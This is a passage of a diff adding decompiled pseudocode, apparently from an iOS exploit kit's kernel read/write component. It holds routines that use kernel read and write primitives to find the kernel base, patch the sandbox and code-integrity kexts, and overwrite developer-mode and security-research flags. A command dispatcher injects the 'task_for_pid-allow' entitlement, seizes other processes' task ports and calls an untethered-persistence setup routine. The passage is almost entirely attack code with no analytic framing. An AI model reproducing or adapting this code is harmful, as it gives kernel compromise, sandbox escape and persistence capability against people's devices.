v43 = v94; + if ( v94 <= 0x1F530F027FFFFFLL ) + { + mach_port_with_a2 = sub_3C450((__int64)krwCtx, mach_task_self_, 0, &v97); + if ( (_DWORD)mach_port_with_a2 ) + return mach_port_with_a2; + v43 = krwCtx->someLargeNumber; + } + v93 = (mach_port_name_t *)&krwCtx->gap191[693] + 1; + if ( v43 <= 0x2257FFFFFFFFFFLL ) + { + v47 = krwCtx->gap19210; + mach_port_with_a2 = 163852; + if ( !v47 ) + return mach_port_with_a2; + v48 = sub_32A64((__int64)krwCtx, v47); + if ( !v48 ) + return mach_port_with_a2; + v49 = v48; + if ( !kread32_outptr((__int64)krwCtx, v48, &v104) ) + return 163855; + if ( !v104.st_dev && !noppl_kwrite32((__int64)krwCtx, v49, 1) ) + return 163856; + mach_port_with_a2 = sub_36480(krwCtx, krwCtx->gap19210, v93); + if ( (_DWORD)mach_port_with_a2 ) + return mach_port_with_a2; + } + else + { + HIDWORD(krwCtx->gap191[693]) = -1; + } + if ( (unsigned int)sub_1C058((__int64)krwCtx) ) + { + mach_port_with_a2 = sub_1CEC4((__int64)krwCtx); + if ( (_DWORD)mach_port_with_a2 ) + return mach_port_with_a2; + } + v44 = krwCtx->machHeaderPlus0x8000; + if ( !v44 ) + { + v45 = *(_QWORD *)&krwCtx->gap42[104]; + if ( v45 ) + { + if ( *(_QWORD *)&krwCtx->gap42[112] ) + { + v44 = *(_QWORD *)(v45 + 312); + if ( v44 ) + { +LABEL_199: + krwCtx->machHeaderPlus0x8000 = v44; + goto LABEL_200; + } + } + } + if ( krwCtx->slideMaybe ) + { + v46 = kernel_get_base_unslid(krwCtx); + if ( v46 ) + { + v44 = krwCtx->slideMaybe + v46; +LABEL_196: + v50 = *(_QWORD *)&krwCtx->gap42[104]; + if ( v50 && *(_QWORD *)&krwCtx->gap42[112] ) + *(_QWORD *)(v50 + 312) = v44; + goto LABEL_199; + } + } + else + { + v44 = kernel_get_base_slid(krwCtx, 0); + if ( v44 ) + goto LABEL_196; + } + return 163860; + } +LABEL_200: + if ( !krwCtx->slideMaybe ) + { + v51 = kernel_get_base_unslid(krwCtx); + if ( !v51 ) + return 163861; + krwCtx->slideMaybe = v44 - v51; + } + if ( !sub_3E1D8((__int64)krwCtx, mach_task_self_) ) + return 163862; + if ( krwCtx->someLargeNumber > 0x1F530F027FFFFFLL ) + { + if ( (v95 & 1) != 0 ) + goto LABEL_211; +LABEL_210: + krw_ctx_set_flag(krwCtx, 256); + goto LABEL_211; + } + if ( !v97 && v94 <= 0x1F530F027FFFFFLL ) + goto LABEL_210; +LABEL_211: + v52 = krwCtx->gap1921[2]; + if ( !v52 ) + { + v58 = (struct_a1 *)calloc(0x128u, 1u); + if ( !v58 ) + return 708617; + v52 = (__int64)v58; + sub_19DD4(v58, (__int64)krwCtx); + v59 = xnuVersion.oword10; + *(_OWORD *)(v52 + 112) = xnuVersion.majorVersion; + *(_OWORD *)(v52 + 128) = v59; + *(_QWORD *)(v52 + 144) = xnuVersion.qword20; + *(_DWORD *)(v52 + 152) = krwCtx->gap16C[3]; + *(_DWORD *)(v52 + 56) = krwCtx->pageSizeOrSomething; + if ( !sub_1A4FC(v52, krwCtx->gap191[693], v44, v42) ) + return 163863; + krwCtx->gap1921[2] = v52; + } + v53 = *(__int64 (__fastcall **)(struct_krwCtx *))&krwCtx->gap190[80]; + if ( v53 && *(_QWORD *)&krwCtx->gap190[88] ) + { + mach_port_with_a2 = v53(krwCtx); + if ( (_DWORD)mach_port_with_a2 ) + return mach_port_with_a2; + *(_QWORD *)&krwCtx->gap190[80] = 0; + *(_QWORD *)&krwCtx->gap190[88] = 0; + } + if ( krwCtx->someLargeNumber > 0x2257FFFFFFFFFFLL ) + { + v54 = *v93; + if ( !*v93 ) + v54 = krwCtx->gap191[693]; + v55 = sub_33CB0(krwCtx, v54); + if ( v55 ) + { + v56 = v55; + if ( kread64_outptr(krwCtx, v55 + 32, &cpuFamily) && kread64_outptr(krwCtx, v56 + 40, &v101) ) + { + krwCtx->gap1921[0] = cpuFamily; + v57 = v101; + goto LABEL_233; + } + } + return 0x28012; + } + v60 = *v93; + if ( !*v93 ) + v60 = krwCtx->gap191[693]; + if ( (unsigned int)sub_1F1C8(v60, &v104, &v103) ) + return 0x28012; + krwCtx->gap1921[0] = *(_QWORD *)&v104.st_dev; + v57 = v103; +LABEL_233: + krwCtx->gap1921[1] = v57; + if ( *(_DWORD *)gap192 == -1 || krwCtx->gap1911[1] == -1 || krwCtx->gap1915 == -1 || !krwCtx->gap190u ) + goto LABEL_260; + v61 = *(__int64 **)krwCtx->gap190_; + if ( krwCtx->someLargeNumber <= 0x1C1B19145FFFFFLL ) + { + if ( v61 ) + goto LABEL_259; + goto LABEL_260; + } + if ( v61 ) + goto LABEL_259; + macho_getsectbyname("__DATA_CONST", krwCtx->gap1921[2], "__const", &v104); + st_ino = (__int64 *)v104.st_ino; + if ( !v104.st_ino || !*(_QWORD *)&v104.st_uid || v104.st_ino >= *(_QWORD *)&v104.st_uid + v104.st_ino ) + return 0; + v61 = 0; + v63 = 0; + while ( 1 ) + { + if ( !v61 ) + { + if ( sub_19B30(*(__int64 **)&v104.st_dev, st_ino) == 7 ) + v61 = st_ino; + else + v61 = 0; + goto LABEL_255; + } + v64 = sub_19B94(*(_QWORD *)&v104.st_dev, st_ino); + v65 = krw_xpac_vaddr_2(krwCtx, v64); + if ( v65 >= krwCtx->gap1921[0] && (v65 & 3) == 0 && v65 < krwCtx->gap1921[1] ) + break; + v63 = 0; + v61 = 0; +LABEL_255: + st_ino = (__int64 *)((char *)st_ino + krwCtx->int168); + if ( (unsigned __int64)st_ino >= *(_QWORD *)&v104.st_uid + v104.st_ino ) + return 0; + } + if ( ++v63 != 7 ) + goto LABEL_255; + *(_QWORD *)krwCtx->gap190_ = v61; +LABEL_259: + *(_QWORD *)(*(_QWORD *)&krwCtx->gap42[104] + 256LL) = v61; +LABEL_260: + if ( *(_BYTE *)(v52 + 156) ) + krw_ctx_set_flag(krwCtx, 4096); + if ( v41 > 0x2257FFFFFFFFFFLL && *(_QWORD *)(v52 + 160) ) + { + v67 = (struct_a1 *)calloc(0x128u, 1u); + if ( v67 ) + { + v68 = (__int64)v67; + sub_19DD4(v67, (__int64)krwCtx); + v69 = xnuVersion.oword10; + *(_OWORD *)(v68 + 112) = xnuVersion.majorVersion; + *(_OWORD *)(v68 + 128) = v69; + *(_QWORD *)(v68 + 144) = xnuVersion.qword20; + *(_DWORD *)(v68 + 152) = krwCtx->gap16C[3]; + *(_DWORD *)(v68 + 56) = krwCtx->pageSizeOrSomething; + if ( (unsigned int)sub_19F2C(v68, *(_QWORD *)(v52 + 160)) ) + { + krwCtx->gap1921[3] = v68; + goto LABEL_267; + } + return 163863; + } + return 708617; + } +LABEL_267: + if ( !krw_ctx_has_flag(krwCtx, 4096) ) + { + if ( !(unsigned int)get_kext_base_addr((__int64)krwCtx, "com.apple.security.sandbox", &v98) ) + return 163864; + v78 = (struct_a1 *)calloc(0x128u, 1u); + if ( !v78 ) + return 708617; + v79 = v78; + v80 = (v41 >> 43 > 0x44A) << 6; + sub_19DD4(v78, (__int64)krwCtx); + v81 = xnuVersion.oword10; + v79->xnuMajorVersion = xnuVersion.majorVersion; + v79->oword80 = v81; + *(_QWORD *)&v79->oword90 = xnuVersion.qword20; + DWORD2(v79->oword90) = krwCtx->gap16C[3]; + DWORD2(v79->oword30) = krwCtx->pageSizeOrSomething; + if ( v41 > 0x2257FFFFFFFFFFLL ) + { + BYTE1(v79->oword100) = 1; + *((_QWORD *)&v79->owordA0 + 1) = v52; + } + if ( !sub_1A0D4((__int64)v79, krwCtx->gap191[693], v98, v80) ) + return 163863; + LODWORD(v79->oword30) = *(_DWORD *)(v52 + 48); + krwCtx->gap1921[102] = (uint64_t)v79; + if ( !(unsigned int)get_kext_base_addr((__int64)krwCtx, "com.apple.driver.AppleMobileFileIntegrity", &v100) ) + return 163864; + v82 = (struct_v83 *)calloc(0x128u, 1u); + mach_port_with_a2 = 708617; + if ( !v82 ) + return mach_port_with_a2; + v83 = v82; + sub_19DD4((struct_a1 *)v82, (__int64)krwCtx); + v84 = xnuVersion.oword10; + v83->xnuMajorVersion = xnuVersion.majorVersion; + v83->oword80 = v84; + v83->qword90 = xnuVersion.qword20; + v83->dword98 = krwCtx->gap16C[3]; + v83->dword38 = krwCtx->pageSizeOrSomething; + if ( v41 > 0x2257FFFFFFFFFFLL ) + { + v83->byte101 = 1; + v83->qwordA8 = v52; + } + if ( !sub_1A0D4((__int64)v83, krwCtx->gap191[693], v100, v80) ) + return 163863; + v83->dword30 = *(_DWORD *)(v52 + 48); + krwCtx->gap1921[103] = (uint64_t)v83; + } + *(_QWORD *)&v104.st_dev = 0; + v70 = *(_QWORD *)&krwCtx->gap42[104]; + if ( !v70 || !*(_QWORD *)&krwCtx->gap42[112] || (v71 = *(_QWORD *)(v70 + 296), (*(_QWORD *)&v104.st_dev = v71) == 0) ) + { + v77 = sub_1E45C(krwCtx->gap1921[2]); + if ( !v77 ) + return 163866; + if ( !(unsigned int)kreadbuf_last_1(krwCtx, (__int64)v77, krwCtx->int168, &v104) ) + return 163866; + v71 = *(_QWORD *)&v104.st_dev; + if ( (v104.st_dev & 1) == 0 ) + return 163866; + v85 = *(_QWORD *)&krwCtx->gap42[104]; + if ( v85 && *(_QWORD *)&krwCtx->gap42[112] ) + { + *(_QWORD *)(v85 + 296) = *(_QWORD *)&v104.st_dev; + v71 = *(_QWORD *)&v104.st_dev; + } + } + *(_QWORD *)&krwCtx->gap42[136] = v71; + sub_36088(krwCtx, 256); + if ( krwCtx->gap1911[0] == -1 + || krwCtx->gap1911[1] == -1 + || krwCtx->gap1915 == -1 + || !krwCtx->gap190u + || (mach_port_with_a2 = sub_26BE4((__int64)krwCtx), !(_DWORD)mach_port_with_a2) ) + { + if ( krwCtx->threadForKernelRead + 1 < 2 + || !*(_QWORD *)&krwCtx->gap42[40] + || (mach_port_with_a2 = sub_28364((__int64)krwCtx), !(_DWORD)mach_port_with_a2) ) + { + if ( krwCtx->someLargeNumber <= 0x2257FFFFFFFFFFLL ) + goto LABEL_280; + LOBYTE(cpuFamily) = 0; + if ( (unsigned int)sub_3F9A0(krwCtx, (bool *)&cpuFamily) ) + { + if ( (_BYTE)cpuFamily ) + goto LABEL_280; + if ( (unsigned int)sub_3FA2C(krwCtx, 1) ) + { + v86 = krwCtx->gap1921[103]; + if ( !v86 ) + return 708609; + variable_addr = kernel_get_variable_addr(v86, "__DATA", "__data", "developer_mode_status"); + if ( !variable_addr ) + return 163867; + v88 = variable_addr; + mach_port_with_a2 = 163855; + if ( !kread64_outptr(krwCtx, variable_addr - 2LL * krwCtx->int168, (unsigned __int64 *)&v104) ) + return mach_port_with_a2; + if ( *(_QWORD *)&v104.st_dev ) + goto LABEL_280; + v89 = kernel_get_variable_addr(krwCtx->gap1921[103], "__DATA", "__data", "allows_security_research"); + if ( !v89 ) + return 163867; + v90 = v89; + if ( !kread64_outptr(krwCtx, v88, &v103) ) + return mach_port_with_a2; + if ( !v103 ) + return 163878; + mach_port_with_a2 = 163856; + if ( !kwrite64(krwCtx, v90, v103) || !kwrite64(krwCtx, v88, v103 + 10) ) + return mach_port_with_a2; +LABEL_280: + if ( v97 || v94 > 0x1F530F027FFFFFLL ) + { + mach_port_with_a2 = sub_3C450((__int64)krwCtx, mach_task_self_, 0, 0); + if ( (_DWORD)mach_port_with_a2 ) + return mach_port_with_a2; + } + if ( v95 ) + { + mach_port_with_a2 = sub_3C9A4(krwCtx, mach_task_self_); + if ( (_DWORD)mach_port_with_a2 ) + return mach_port_with_a2; + mach_port_with_a2 = sub_25804((__int64)krwCtx); + if ( (_DWORD)mach_port_with_a2 ) + return mach_port_with_a2; + } + krwCtx->gap1909 = mach_host_self(); + v72 = sub_3A72C((__int64)krwCtx); + LODWORD(krwCtx->gap191[694]) = v72; + mach_port_with_a2 = 163854; + if ( krwCtx->gap1909 + 1 < 2 ) + return mach_port_with_a2; + v73 = v72; + if ( v72 + 1 < 2 ) + return mach_port_with_a2; + if ( (krwCtx->flags & 0x5584001) != 0 ) + { + if ( krwCtx->someLargeNumber <= 0x1F52FFFFFFFFFFLL ) + { + v74 = sub_3A878((__int64)krwCtx); + HIDWORD(krwCtx->gap191[694]) = v74; + if ( (unsigned int)(v74 + 1) < 2 ) + return mach_port_with_a2; + goto LABEL_291; + } +LABEL_293: + sub_3B7E0((__int64)krwCtx, mach_task_self_, v73); + if ( !v75 ) + return 163848; + krw_ctx_set_flag(krwCtx, 16); + } + else + { +LABEL_291: + if ( krwCtx->someLargeNumber > 0x1C1B19145FFFFFLL ) + { + v73 = krwCtx->gap191[694]; + goto LABEL_293; + } + } + v76 = krwCtx->gap191[694]; + if ( v76 + 1 < 2 ) + return 708609; + v104.st_dev = 0; + if ( host_get_special_port(v76, -1, 16, (mach_port_t *)&v104) ) + return 708619; + if ( (unsigned int)(v104.st_dev + 1) >= 2 ) + { + mach_port_deallocate(mach_task_self_, v104.st_dev); + return 708644; + } + mach_port_with_a2 = sub_2A8A4((__int64)krwCtx); + if ( (_DWORD)mach_port_with_a2 ) + return mach_port_with_a2; + if ( v96 || !something ) + return 0; + v91 = krwCtx->someLargeNumber; + if ( v91 <= 0x27120F04B00002LL ) + { + if ( v91 <= 0x225C1E804FFFFFLL ) + { + if ( v91 <= 0x225C19804FFFFFLL ) + { + if ( v91 <= 0x1F530F027FFFFFLL || (krwCtx->flags & 0x5584001) == 0 && v91 <= 0x1F5418FFFFFFFFLL ) + { + v92 = sub_1CF1C((__int64)krwCtx); + goto LABEL_350; + } + } + else if ( (krwCtx->flags & 0x5584001) == 0 || (krwCtx->flags & 1) != 0 ) + { + goto LABEL_349; + } + v92 = sub_1D1B0((__int64)krwCtx); + goto LABEL_350; + } + } + else if ( (krwCtx->flags & 0x20) != 0 ) + { + v92 = sub_AC50((__int64)krwCtx) == 0; +LABEL_350: + if ( !v92 ) + return 163868; + return 0; + } +LABEL_349: + v92 = (unsigned int)sub_1D4A0((__int64)krwCtx); + goto LABEL_350; + } + return 163843; + } + return v8; + } + } + return mach_port_with_a2; +} +// 3CDA8: variable 'v7' is possibly undefined +// 3DDB8: variable 'v75' is possibly undefined +// 19B94: using guessed type __int64 __fastcall sub_19B94(_QWORD, _QWORD); +// 43730: using guessed type __int128 xmmword_43730; + +//----- (000000000003E1D8) ---------------------------------------------------- +bool __fastcall sub_3E1D8(struct_krwCtx *a1, mach_port_t a2) +{ + unsigned __int64 v3; // x21 + unsigned __int64 v4; // x0 + __int64 v5; // x8 + int v6; // w10 + int v7; // w11 + __int64 v8; // x9 + unsigned int v9; // w20 + __int64 v10; // x20 + __int64 v11; // x1 + __int64 v12; // x0 + __int64 v13; // x3 + __int64 v14; // x8 + __int64 v16; // [xsp+8h] [xbp-48h] BYREF + __int64 v17; // [xsp+10h] [xbp-40h] BYREF + __int64 v18; // [xsp+18h] [xbp-38h] BYREF + int v19; // [xsp+24h] [xbp-2Ch] BYREF + __int64 v20; // [xsp+28h] [xbp-28h] BYREF + + v3 = a1->someLargeNumber; + v4 = port_name_to_kaddr(a1, a2); + if ( !v4 ) + return 0; + v5 = 0; + v6 = v3 <= 0x18090A095FFFFFLL ? 56 : 48; + v7 = a1->xnuMajorVersion; + if ( v7 > 8791 ) + { + v9 = 352; + v8 = 776; + if ( v7 != 8792 && v7 != 8796 && v7 != 10002 ) + return v5; + } + else if ( (unsigned int)(v7 - 8019) < 2 ) + { + v8 = 784; + if ( a1->someLargeNumber <= 0x1F530F027FFFFFLL ) + v8 = 824; + v9 = 352; + } + else if ( v7 == 6153 ) + { + v9 = 10 * v6; + v8 = 808; + } + else + { + if ( v7 != 7195 ) + return v5; + v8 = 832; + if ( a1->someLargeNumber <= 0x1C1B19145FFFFFLL ) + v8 = 824; + v9 = 10 * v6; + } + if ( !kread64_outptr(a1, v8 + v4, (unsigned __int64 *)&v20) ) + return 0; + if ( !validate_addr((__int64)a1, v20) ) + return 0; + v10 = v20 + v9 + 24; + if ( !(unsigned int)kreadbuf_last_1(a1, v10, 4, &v19) ) + return 0; + if ( (v19 & 1) == 0 ) + return 0; + v18 = 0x7FFFFFFFFFFFFFFFLL; + if ( !(unsigned int)kwritebuf_last_1((__int64)a1, v10 + 8, (__int64)&v18, 8) ) + return 0; + if ( v3 < 0x18090A09600000LL ) + { + v17 = 0x7FFFFFFFFFFFFFFFLL; + v11 = v10 + 16; + v12 = (__int64)a1; + v13 = 8; + } + else + { + LOWORD(v17) = -1; + v11 = v10 + 4; + v12 = (__int64)a1; + v13 = 2; + } + if ( !(unsigned int)kwritebuf_last_1(v12, v11, (__int64)&v17, v13) ) + return 0; + v19 &= 0xFFFFCB0F; + if ( !(unsigned int)kwritebuf_last_1((__int64)a1, v10, (__int64)&v19, 4) ) + return 0; + v16 = 0; + v14 = 48; + if ( v3 > 0x18090A095FFFFFLL ) + v14 = 40; + return (unsigned int)kwritebuf_last_1((__int64)a1, v10 + v14, (__int64)&v16, 8) != 0; +} + +//----- (000000000003E42C) ---------------------------------------------------- +__int64 __fastcall driver_init2(struct_krwCtx **krwCtxOut, char something) +{ + struct_krwCtx *krwCtx; // x0 MAPDST + __int64 v6; // x21 + + krwCtx = (struct_krwCtx *)calloc(0x1D60u, 1u); + if ( !krwCtx ) + return 0xAD009; + v6 = driver_init2_1(krwCtx, (something & 1) == 0); + if ( !(_DWORD)v6 ) + { + if ( (unsigned int)check_rootfs_rw((__int64)krwCtx, &krwCtx->isRW) ) + { + *krwCtxOut = krwCtx; + sub_3E4D0(krwCtx); + return 0; + } + sub_3E4D0(krwCtx); + v6 = 163873; + } + free(krwCtx); + return v6; +} + +//----- (000000000003E4D0) ---------------------------------------------------- +__int64 __fastcall sub_3E4D0(_QWORD *a1) +{ + __int64 v2; // x0 + __int64 v3; // x0 + __int64 v4; // x0 + __int64 v5; // x0 + __int64 v6; // x0 + __int64 result; // x0 + __int64 vars8; // [xsp+18h] [xbp+8h] + + v2 = a1[831]; + if ( v2 ) + sub_19854(v2); + v3 = a1[931]; + if ( v3 ) + sub_19854(v3); + v4 = a1[932]; + if ( v4 ) + sub_19854(v4); + v5 = a1[933]; + if ( v5 ) + sub_19854(v5); + v6 = a1[934]; + if ( v6 ) + sub_19854(v6); + result = a1[935]; + if ( result ) + { + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + return sub_19854(result); + } + return result; +} +// 3E534: variable 'vars8' is possibly undefined + +//----- (000000000003E550) ---------------------------------------------------- +__int64 __fastcall driver_dispatch_command2( + struct_krwCtx *a1, + int a2, + __int64 a3, + __int64 a4, + __int64 a5, + __int64 a6, + __int64 a7, + __int64 a8, + __int64 a9) +{ + return driver_dispatch_command3(a1, a2, a9); +} + +//----- (000000000003E580) ---------------------------------------------------- +__int64 __fastcall driver_dispatch_command3(struct_krwCtx *a1, int cmd, __int64 inoutValue) +{ + __int64 v3; // x20 + __int64 v6; // x21 + __int64 result; // x0 + unsigned __int32 v8[2]; // x0 + __int64 v9; // x20 + int xnuMajorVersion; // w8 + __int64 v11; // x22 + __int64 v12; // x8 + __int64 v13; // x0 + int v14; // w23 + int v15; // w0 + int v16; // w0 + task_name_t v17; // w1 + struct_krwCtx *v18; // x0 + int v19; // w2 + __int64 *v20; // x3 + int v21; // w0 + int v22; // w22 + int v23; // w21 + int v24; // w22 + unsigned int v25; // w1 + bool v26; // w8 + int v27; // w20 + int v28; // w8 + task_inspect_t v29; // w1 + mach_port_t v30; // w1 + mach_port_t v31; // w20 + unsigned int v32; // w1 + task_inspect_t v33; // w1 + __int64 v34; // x4 + mach_port_t v35; // w1 + mach_port_t v36; // w1 + mach_port_t v37; // w1 + struct_krwCtx *v38; // x0 + int v39; // w2 + mach_port_t v40; // w1 + int v41; // w0 + task_name_t v42; // w1 + int v43; // t1 + int v44; // w1 + vm_prot_t v45; // w4 + unsigned int v46; // w1 + mach_vm_address_t v47; // x21 + unsigned __int64 v48; // x20 + int v49; // w22 + __int64 v50; // [xsp+0h] [xbp-40h] BYREF + int v51; // [xsp+8h] [xbp-38h] BYREF + int v52; // [xsp+Ch] [xbp-34h] BYREF + + v3 = inoutValue; + v6 = 708616; + if ( !((unsigned int)cmd >> 30) || (result = 708609, inoutValue) ) + { + *(_OWORD *)&a1->gap191[681] = 0u; + sub_36088(a1, 0x800000); + sub_21304((__int64)a1); + result = sub_3C450((__int64)a1, mach_task_self_, 0, 0); + if ( !(_DWORD)result ) + { + if ( BYTE1(cmd) == 3 ) + { + if ( a1->someLargeNumber <= 0x1F52FFFFFFFFFFLL || a1->xnuMajorVersion > 8791 ) + goto LABEL_219; + if ( cmd > 0x40000300 ) + { + switch ( cmd ) + { + case 0x40000301: + v13 = driver_cmd_setup_untethered_persistence_maybe((__int64)a1, *(_DWORD *)v3); + goto LABEL_90; + case 0x40000304: + v13 = sub_1FA28((__int64)a1, *(_DWORD *)(v3 + 12)); + goto LABEL_90; + case 0x40000305: + v13 = sub_1F900( + (__int64)a1, + *(_DWORD *)v3, + *(_QWORD *)(v3 + 8), + *(_QWORD *)(v3 + 16), + *(_DWORD *)(v3 + 24), + *(_QWORD *)(v3 + 32)); + goto LABEL_90; + case 0x40000306: + v13 = sub_20468((__int64)a1, v3, 20); + goto LABEL_90; + default: + goto LABEL_219; + } + goto LABEL_219; + } + switch ( cmd ) + { + case 0x80000306: + v13 = sub_203B0((__int64)a1, (_DWORD *)v3, (char *)(v3 + 16)); + break; + case 0xC0000303: + v13 = sub_1FA7C((__int64)a1, *(_QWORD *)v3, *(_DWORD *)(v3 + 8), v3 + 12); + break; + case 0x302: + v13 = sub_1FC94((__int64)a1); + break; + default: + goto LABEL_219; + } +LABEL_90: + v6 = v13; + goto LABEL_219; + } + if ( BYTE1(cmd) != 1 ) + { + if ( !BYTE1(cmd) ) + { + v8[0] = 0; + if ( cmd <= 0x40000003 ) + { + switch ( cmd ) + { + case 1: + LODWORD(v50) = 0; + v52 = 0; + *(_QWORD *)v8 = sub_33E8C(a1, mach_task_self_); + if ( !*(_QWORD *)v8 ) + goto LABEL_215; + v9 = *(_QWORD *)v8; + v8[0] = 0; + xnuMajorVersion = a1->xnuMajorVersion; + if ( xnuMajorVersion <= 8019 ) + { + switch ( xnuMajorVersion ) + { + case 6153: + v11 = 352; + v12 = 328; + break; + case 7195: + v11 = 328; + v12 = 304; + break; + case 8019: + v11 = 476; + v12 = 448; + break; + default: + goto LABEL_215; + } + } + else if ( xnuMajorVersion > 8795 ) + { + if ( xnuMajorVersion != 8796 && xnuMajorVersion != 10002 ) + goto LABEL_215; + v11 = 1140; + v12 = 1112; + } + else if ( xnuMajorVersion == 8020 ) + { + v11 = 644; + v12 = 616; + } + else + { + if ( xnuMajorVersion != 8792 ) + goto LABEL_215; + v11 = 636; + v12 = 608; + } + v47 = v12 + v9; + v8[0] = kread32_outptr((__int64)a1, v12 + v9, &v52); + if ( v8[0] ) + { + v48 = v11 + v9; + v8[0] = kread32_outptr((__int64)a1, v48, &v50); + if ( v8[0] ) + { + if ( a1->xnuMajorVersion < 8792 || (v52 & 2) != 0 ) + { + if ( (v52 & 0x400) == 0 + || (v49 = v50, v49 != getppid()) + || (v52 &= ~0x400u, (v8[0] = noppl_kwrite32((__int64)a1, v47, v52)) != 0) + && (v8[0] = noppl_kwrite32((__int64)a1, v48, 0)) != 0 ) + { + v8[0] = 1; + } + } + else + { + v8[0] = 0; + } + } + } + break; + case 2: + v30 = mach_task_self_; + goto LABEL_124; + case 3: + v8[0] = krw_inject_entitlements_maybe( + (__int64)a1, + mach_task_self_, + "task_for_pid-allow"); + goto LABEL_215; + case 4: + case 5: + case 14: + case 16: + case 17: + case 18: + case 24: + case 25: + case 27: + case 28: + case 29: + case 30: + case 32: + case 33: + case 35: + case 36: + case 37: + goto LABEL_216; + case 6: + sub_2E00C((__int64)a1, mach_task_self_); + goto LABEL_215; + case 7: + v31 = mach_thread_self(); + v32 = HIDWORD(a1->gap191[693]); + if ( !v32 ) + v32 = a1->gap191[693]; + sub_39FDC((__int64)a1, v32, v31); + if ( !v8[0] ) + goto LABEL_215; + LODWORD(v6) = 0; + if ( a1->gap1910 + 1 <= 1 ) + a1->gap1910 = v31; + goto LABEL_146; + case 8: + v8[0] = sub_3A150((__int64)a1, 0, 0, 0); + goto LABEL_215; + case 9: + v33 = mach_task_self_; + goto LABEL_136; + case 10: + sub_23D30((__int64)a1, 1); + goto LABEL_215; + case 11: + v50 = 0x100000000LL; + v17 = mach_task_self_; + v20 = &v50; + v18 = a1; + v19 = 2; + goto LABEL_105; + case 12: + if ( (_DWORD)v3 ) + v35 = v3; + else + v35 = mach_task_self_; + v8[0] = sub_2DE64(a1, v35); + goto LABEL_215; + case 13: + v36 = mach_task_self_; + goto LABEL_128; + case 15: + if ( (_DWORD)v3 ) + v37 = v3; + else + v37 = mach_task_self_; + v38 = a1; + v39 = 1; + goto LABEL_119; + case 19: + if ( (_DWORD)v3 ) + v37 = v3; + else + v37 = mach_task_self_; + v38 = a1; + v39 = 0; +LABEL_119: + v8[0] = sub_2DED4(v38, v37, v39); + goto LABEL_215; + case 20: + v8[0] = sub_2C0F8(a1, mach_task_self_, (const char *)v3); + goto LABEL_215; + case 21: + if ( (_DWORD)v3 ) + v30 = v3; + else + v30 = mach_task_self_; +LABEL_124: + v8[0] = sub_3AD2C(a1, v30); + goto LABEL_215; + case 22: + if ( (_DWORD)v3 ) + v36 = v3; + else + v36 = mach_task_self_; +LABEL_128: + sub_3AA2C((__int64)a1, v36, 0); + goto LABEL_215; + case 23: + if ( (_DWORD)v3 ) + v40 = v3; + else + v40 = mach_task_self_; + v8[0] = sub_3E1D8((__int64)a1, v40); + goto LABEL_215; + case 26: + if ( (_DWORD)v3 ) + v33 = v3; + else + v33 = mach_task_self_; +LABEL_136: + sub_3B7E0((__int64)a1, v33, a1->gap191[694]); + goto LABEL_215; + case 31: + if ( !(_DWORD)v3 ) + LODWORD(v3) = mach_task_self_; + v41 = sub_3C9A4(a1, v3); + if ( !v41 ) + v41 = sub_3C450((__int64)a1, v3, 0, 0); + goto LABEL_145; + case 34: + if ( (_DWORD)v3 ) + v42 = v3; + else + v42 = mach_task_self_; + v41 = sub_3A5F0((__int64)a1, v42); +LABEL_145: + LODWORD(v6) = v41; +LABEL_146: + v8[0] = 1; + goto LABEL_216; + case 38: + v8[0] = sub_3A8DC(a1, mach_task_self_); + goto LABEL_215; + default: + switch ( cmd ) + { + case 0xC000001B: + if ( krw_ctx_has_flag(a1, 85475329) ) + goto LABEL_48; + v8[0] = krw_ctx_has_flag(a1, 512); + if ( !v8[0] ) + goto LABEL_216; + if ( a1->xnuMajorVersion < 6153 ) + goto LABEL_188; +LABEL_48: + v8[0] = sub_3B524((__int64)a1, *(_DWORD *)v3, (bool *)(v3 + 4), (bool *)(v3 + 6), (bool *)(v3 + 5)); + break; + case 0xC000001C: + case 0xC000001E: + case 0xC000001F: + case 0xC0000021: + case 0xC0000022: + goto LABEL_216; + case 0xC000001D: + v8[0] = krw_task_for_pid_or_name(a1, *(_DWORD *)v3, 0, (mach_port_name_t *)(v3 + 4)); + goto LABEL_215; + case 0xC0000020: + v43 = *(_DWORD *)v3; + v3 += 4; + v29 = v43; + goto LABEL_150; + case 0xC0000023: + v8[0] = sub_2EB4C(a1, *(_DWORD *)v3, *(_QWORD *)(v3 + 8), (bool *)(v3 + 24)); + goto LABEL_215; + default: + if ( cmd != 0x8000001C ) + goto LABEL_216; + v29 = mach_task_self_; +LABEL_150: + sub_3FE68((__int64)a1, v29, (host_t *)v3); + goto LABEL_215; + } + goto LABEL_215; + } + goto LABEL_215; + } + switch ( cmd ) + { + case 1073741848: + v17 = *(_DWORD *)v3; + v18 = a1; + v19 = 1; + v20 = (__int64 *)(v3 + 4); +LABEL_105: + v34 = 8; + goto LABEL_153; + case 1073741849: + v17 = *(_DWORD *)v3; + v18 = a1; + v19 = 3; + v20 = (__int64 *)(v3 + 4); + v34 = 32; +LABEL_153: + v8[0] = sub_39CC0(v18, v17, v19, v20, v34); + goto LABEL_215; + case 1073741851: + if ( krw_ctx_has_flag(a1, 85475329) ) + { + if ( sub_1308C(a1) ) + { +LABEL_189: + v46 = *(_DWORD *)v3; + if ( !*(_DWORD *)v3 ) + { + v46 = mach_task_self_; + *(_DWORD *)v3 = mach_task_self_; + } + sub_3AE94( + (__int64)a1, + v46, + *(unsigned __int8 *)(v3 + 4), + *(unsigned __int8 *)(v3 + 6), + *(unsigned __int8 *)(v3 + 5)); +LABEL_215: + LODWORD(v6) = 0; +LABEL_216: + if ( (unsigned int)v6 | v8[0] ) + v6 = (unsigned int)v6; + else + v6 = 163843; + break; + } + } + else + { + v8[0] = krw_ctx_has_flag(a1, 512); + if ( !v8[0] ) + goto LABEL_216; + if ( a1->xnuMajorVersion >= 6153 ) + goto LABEL_189; + } +LABEL_188: + v8[0] = 0; + goto LABEL_216; + case 1073741854: + v44 = *(_DWORD *)v3; + if ( !*(_DWORD *)v3 ) + { + v44 = mach_task_self_; + *(_DWORD *)v3 = mach_task_self_; + } + v8[0] = sub_3BE3C( + a1, + v44, + *(_DWORD *)(v3 + 4), + *(_DWORD *)(v3 + 8), + *(natural_t **)(v3 + 16), + *(_DWORD *)(v3 + 24)); + goto LABEL_215; + case 1073741857: + if ( *(_BYTE *)(v3 + 28) ) + { + v45 = *(_DWORD *)(v3 + 24); + } + else + { + v45 = 0; + *(_DWORD *)(v3 + 24) = 0; + } + LODWORD(v6) = 0; + v8[0] = mach_vm_wire(a1->gap191[694], *(_DWORD *)v3, *(_QWORD *)(v3 + 8), *(_QWORD *)(v3 + 16), v45) == 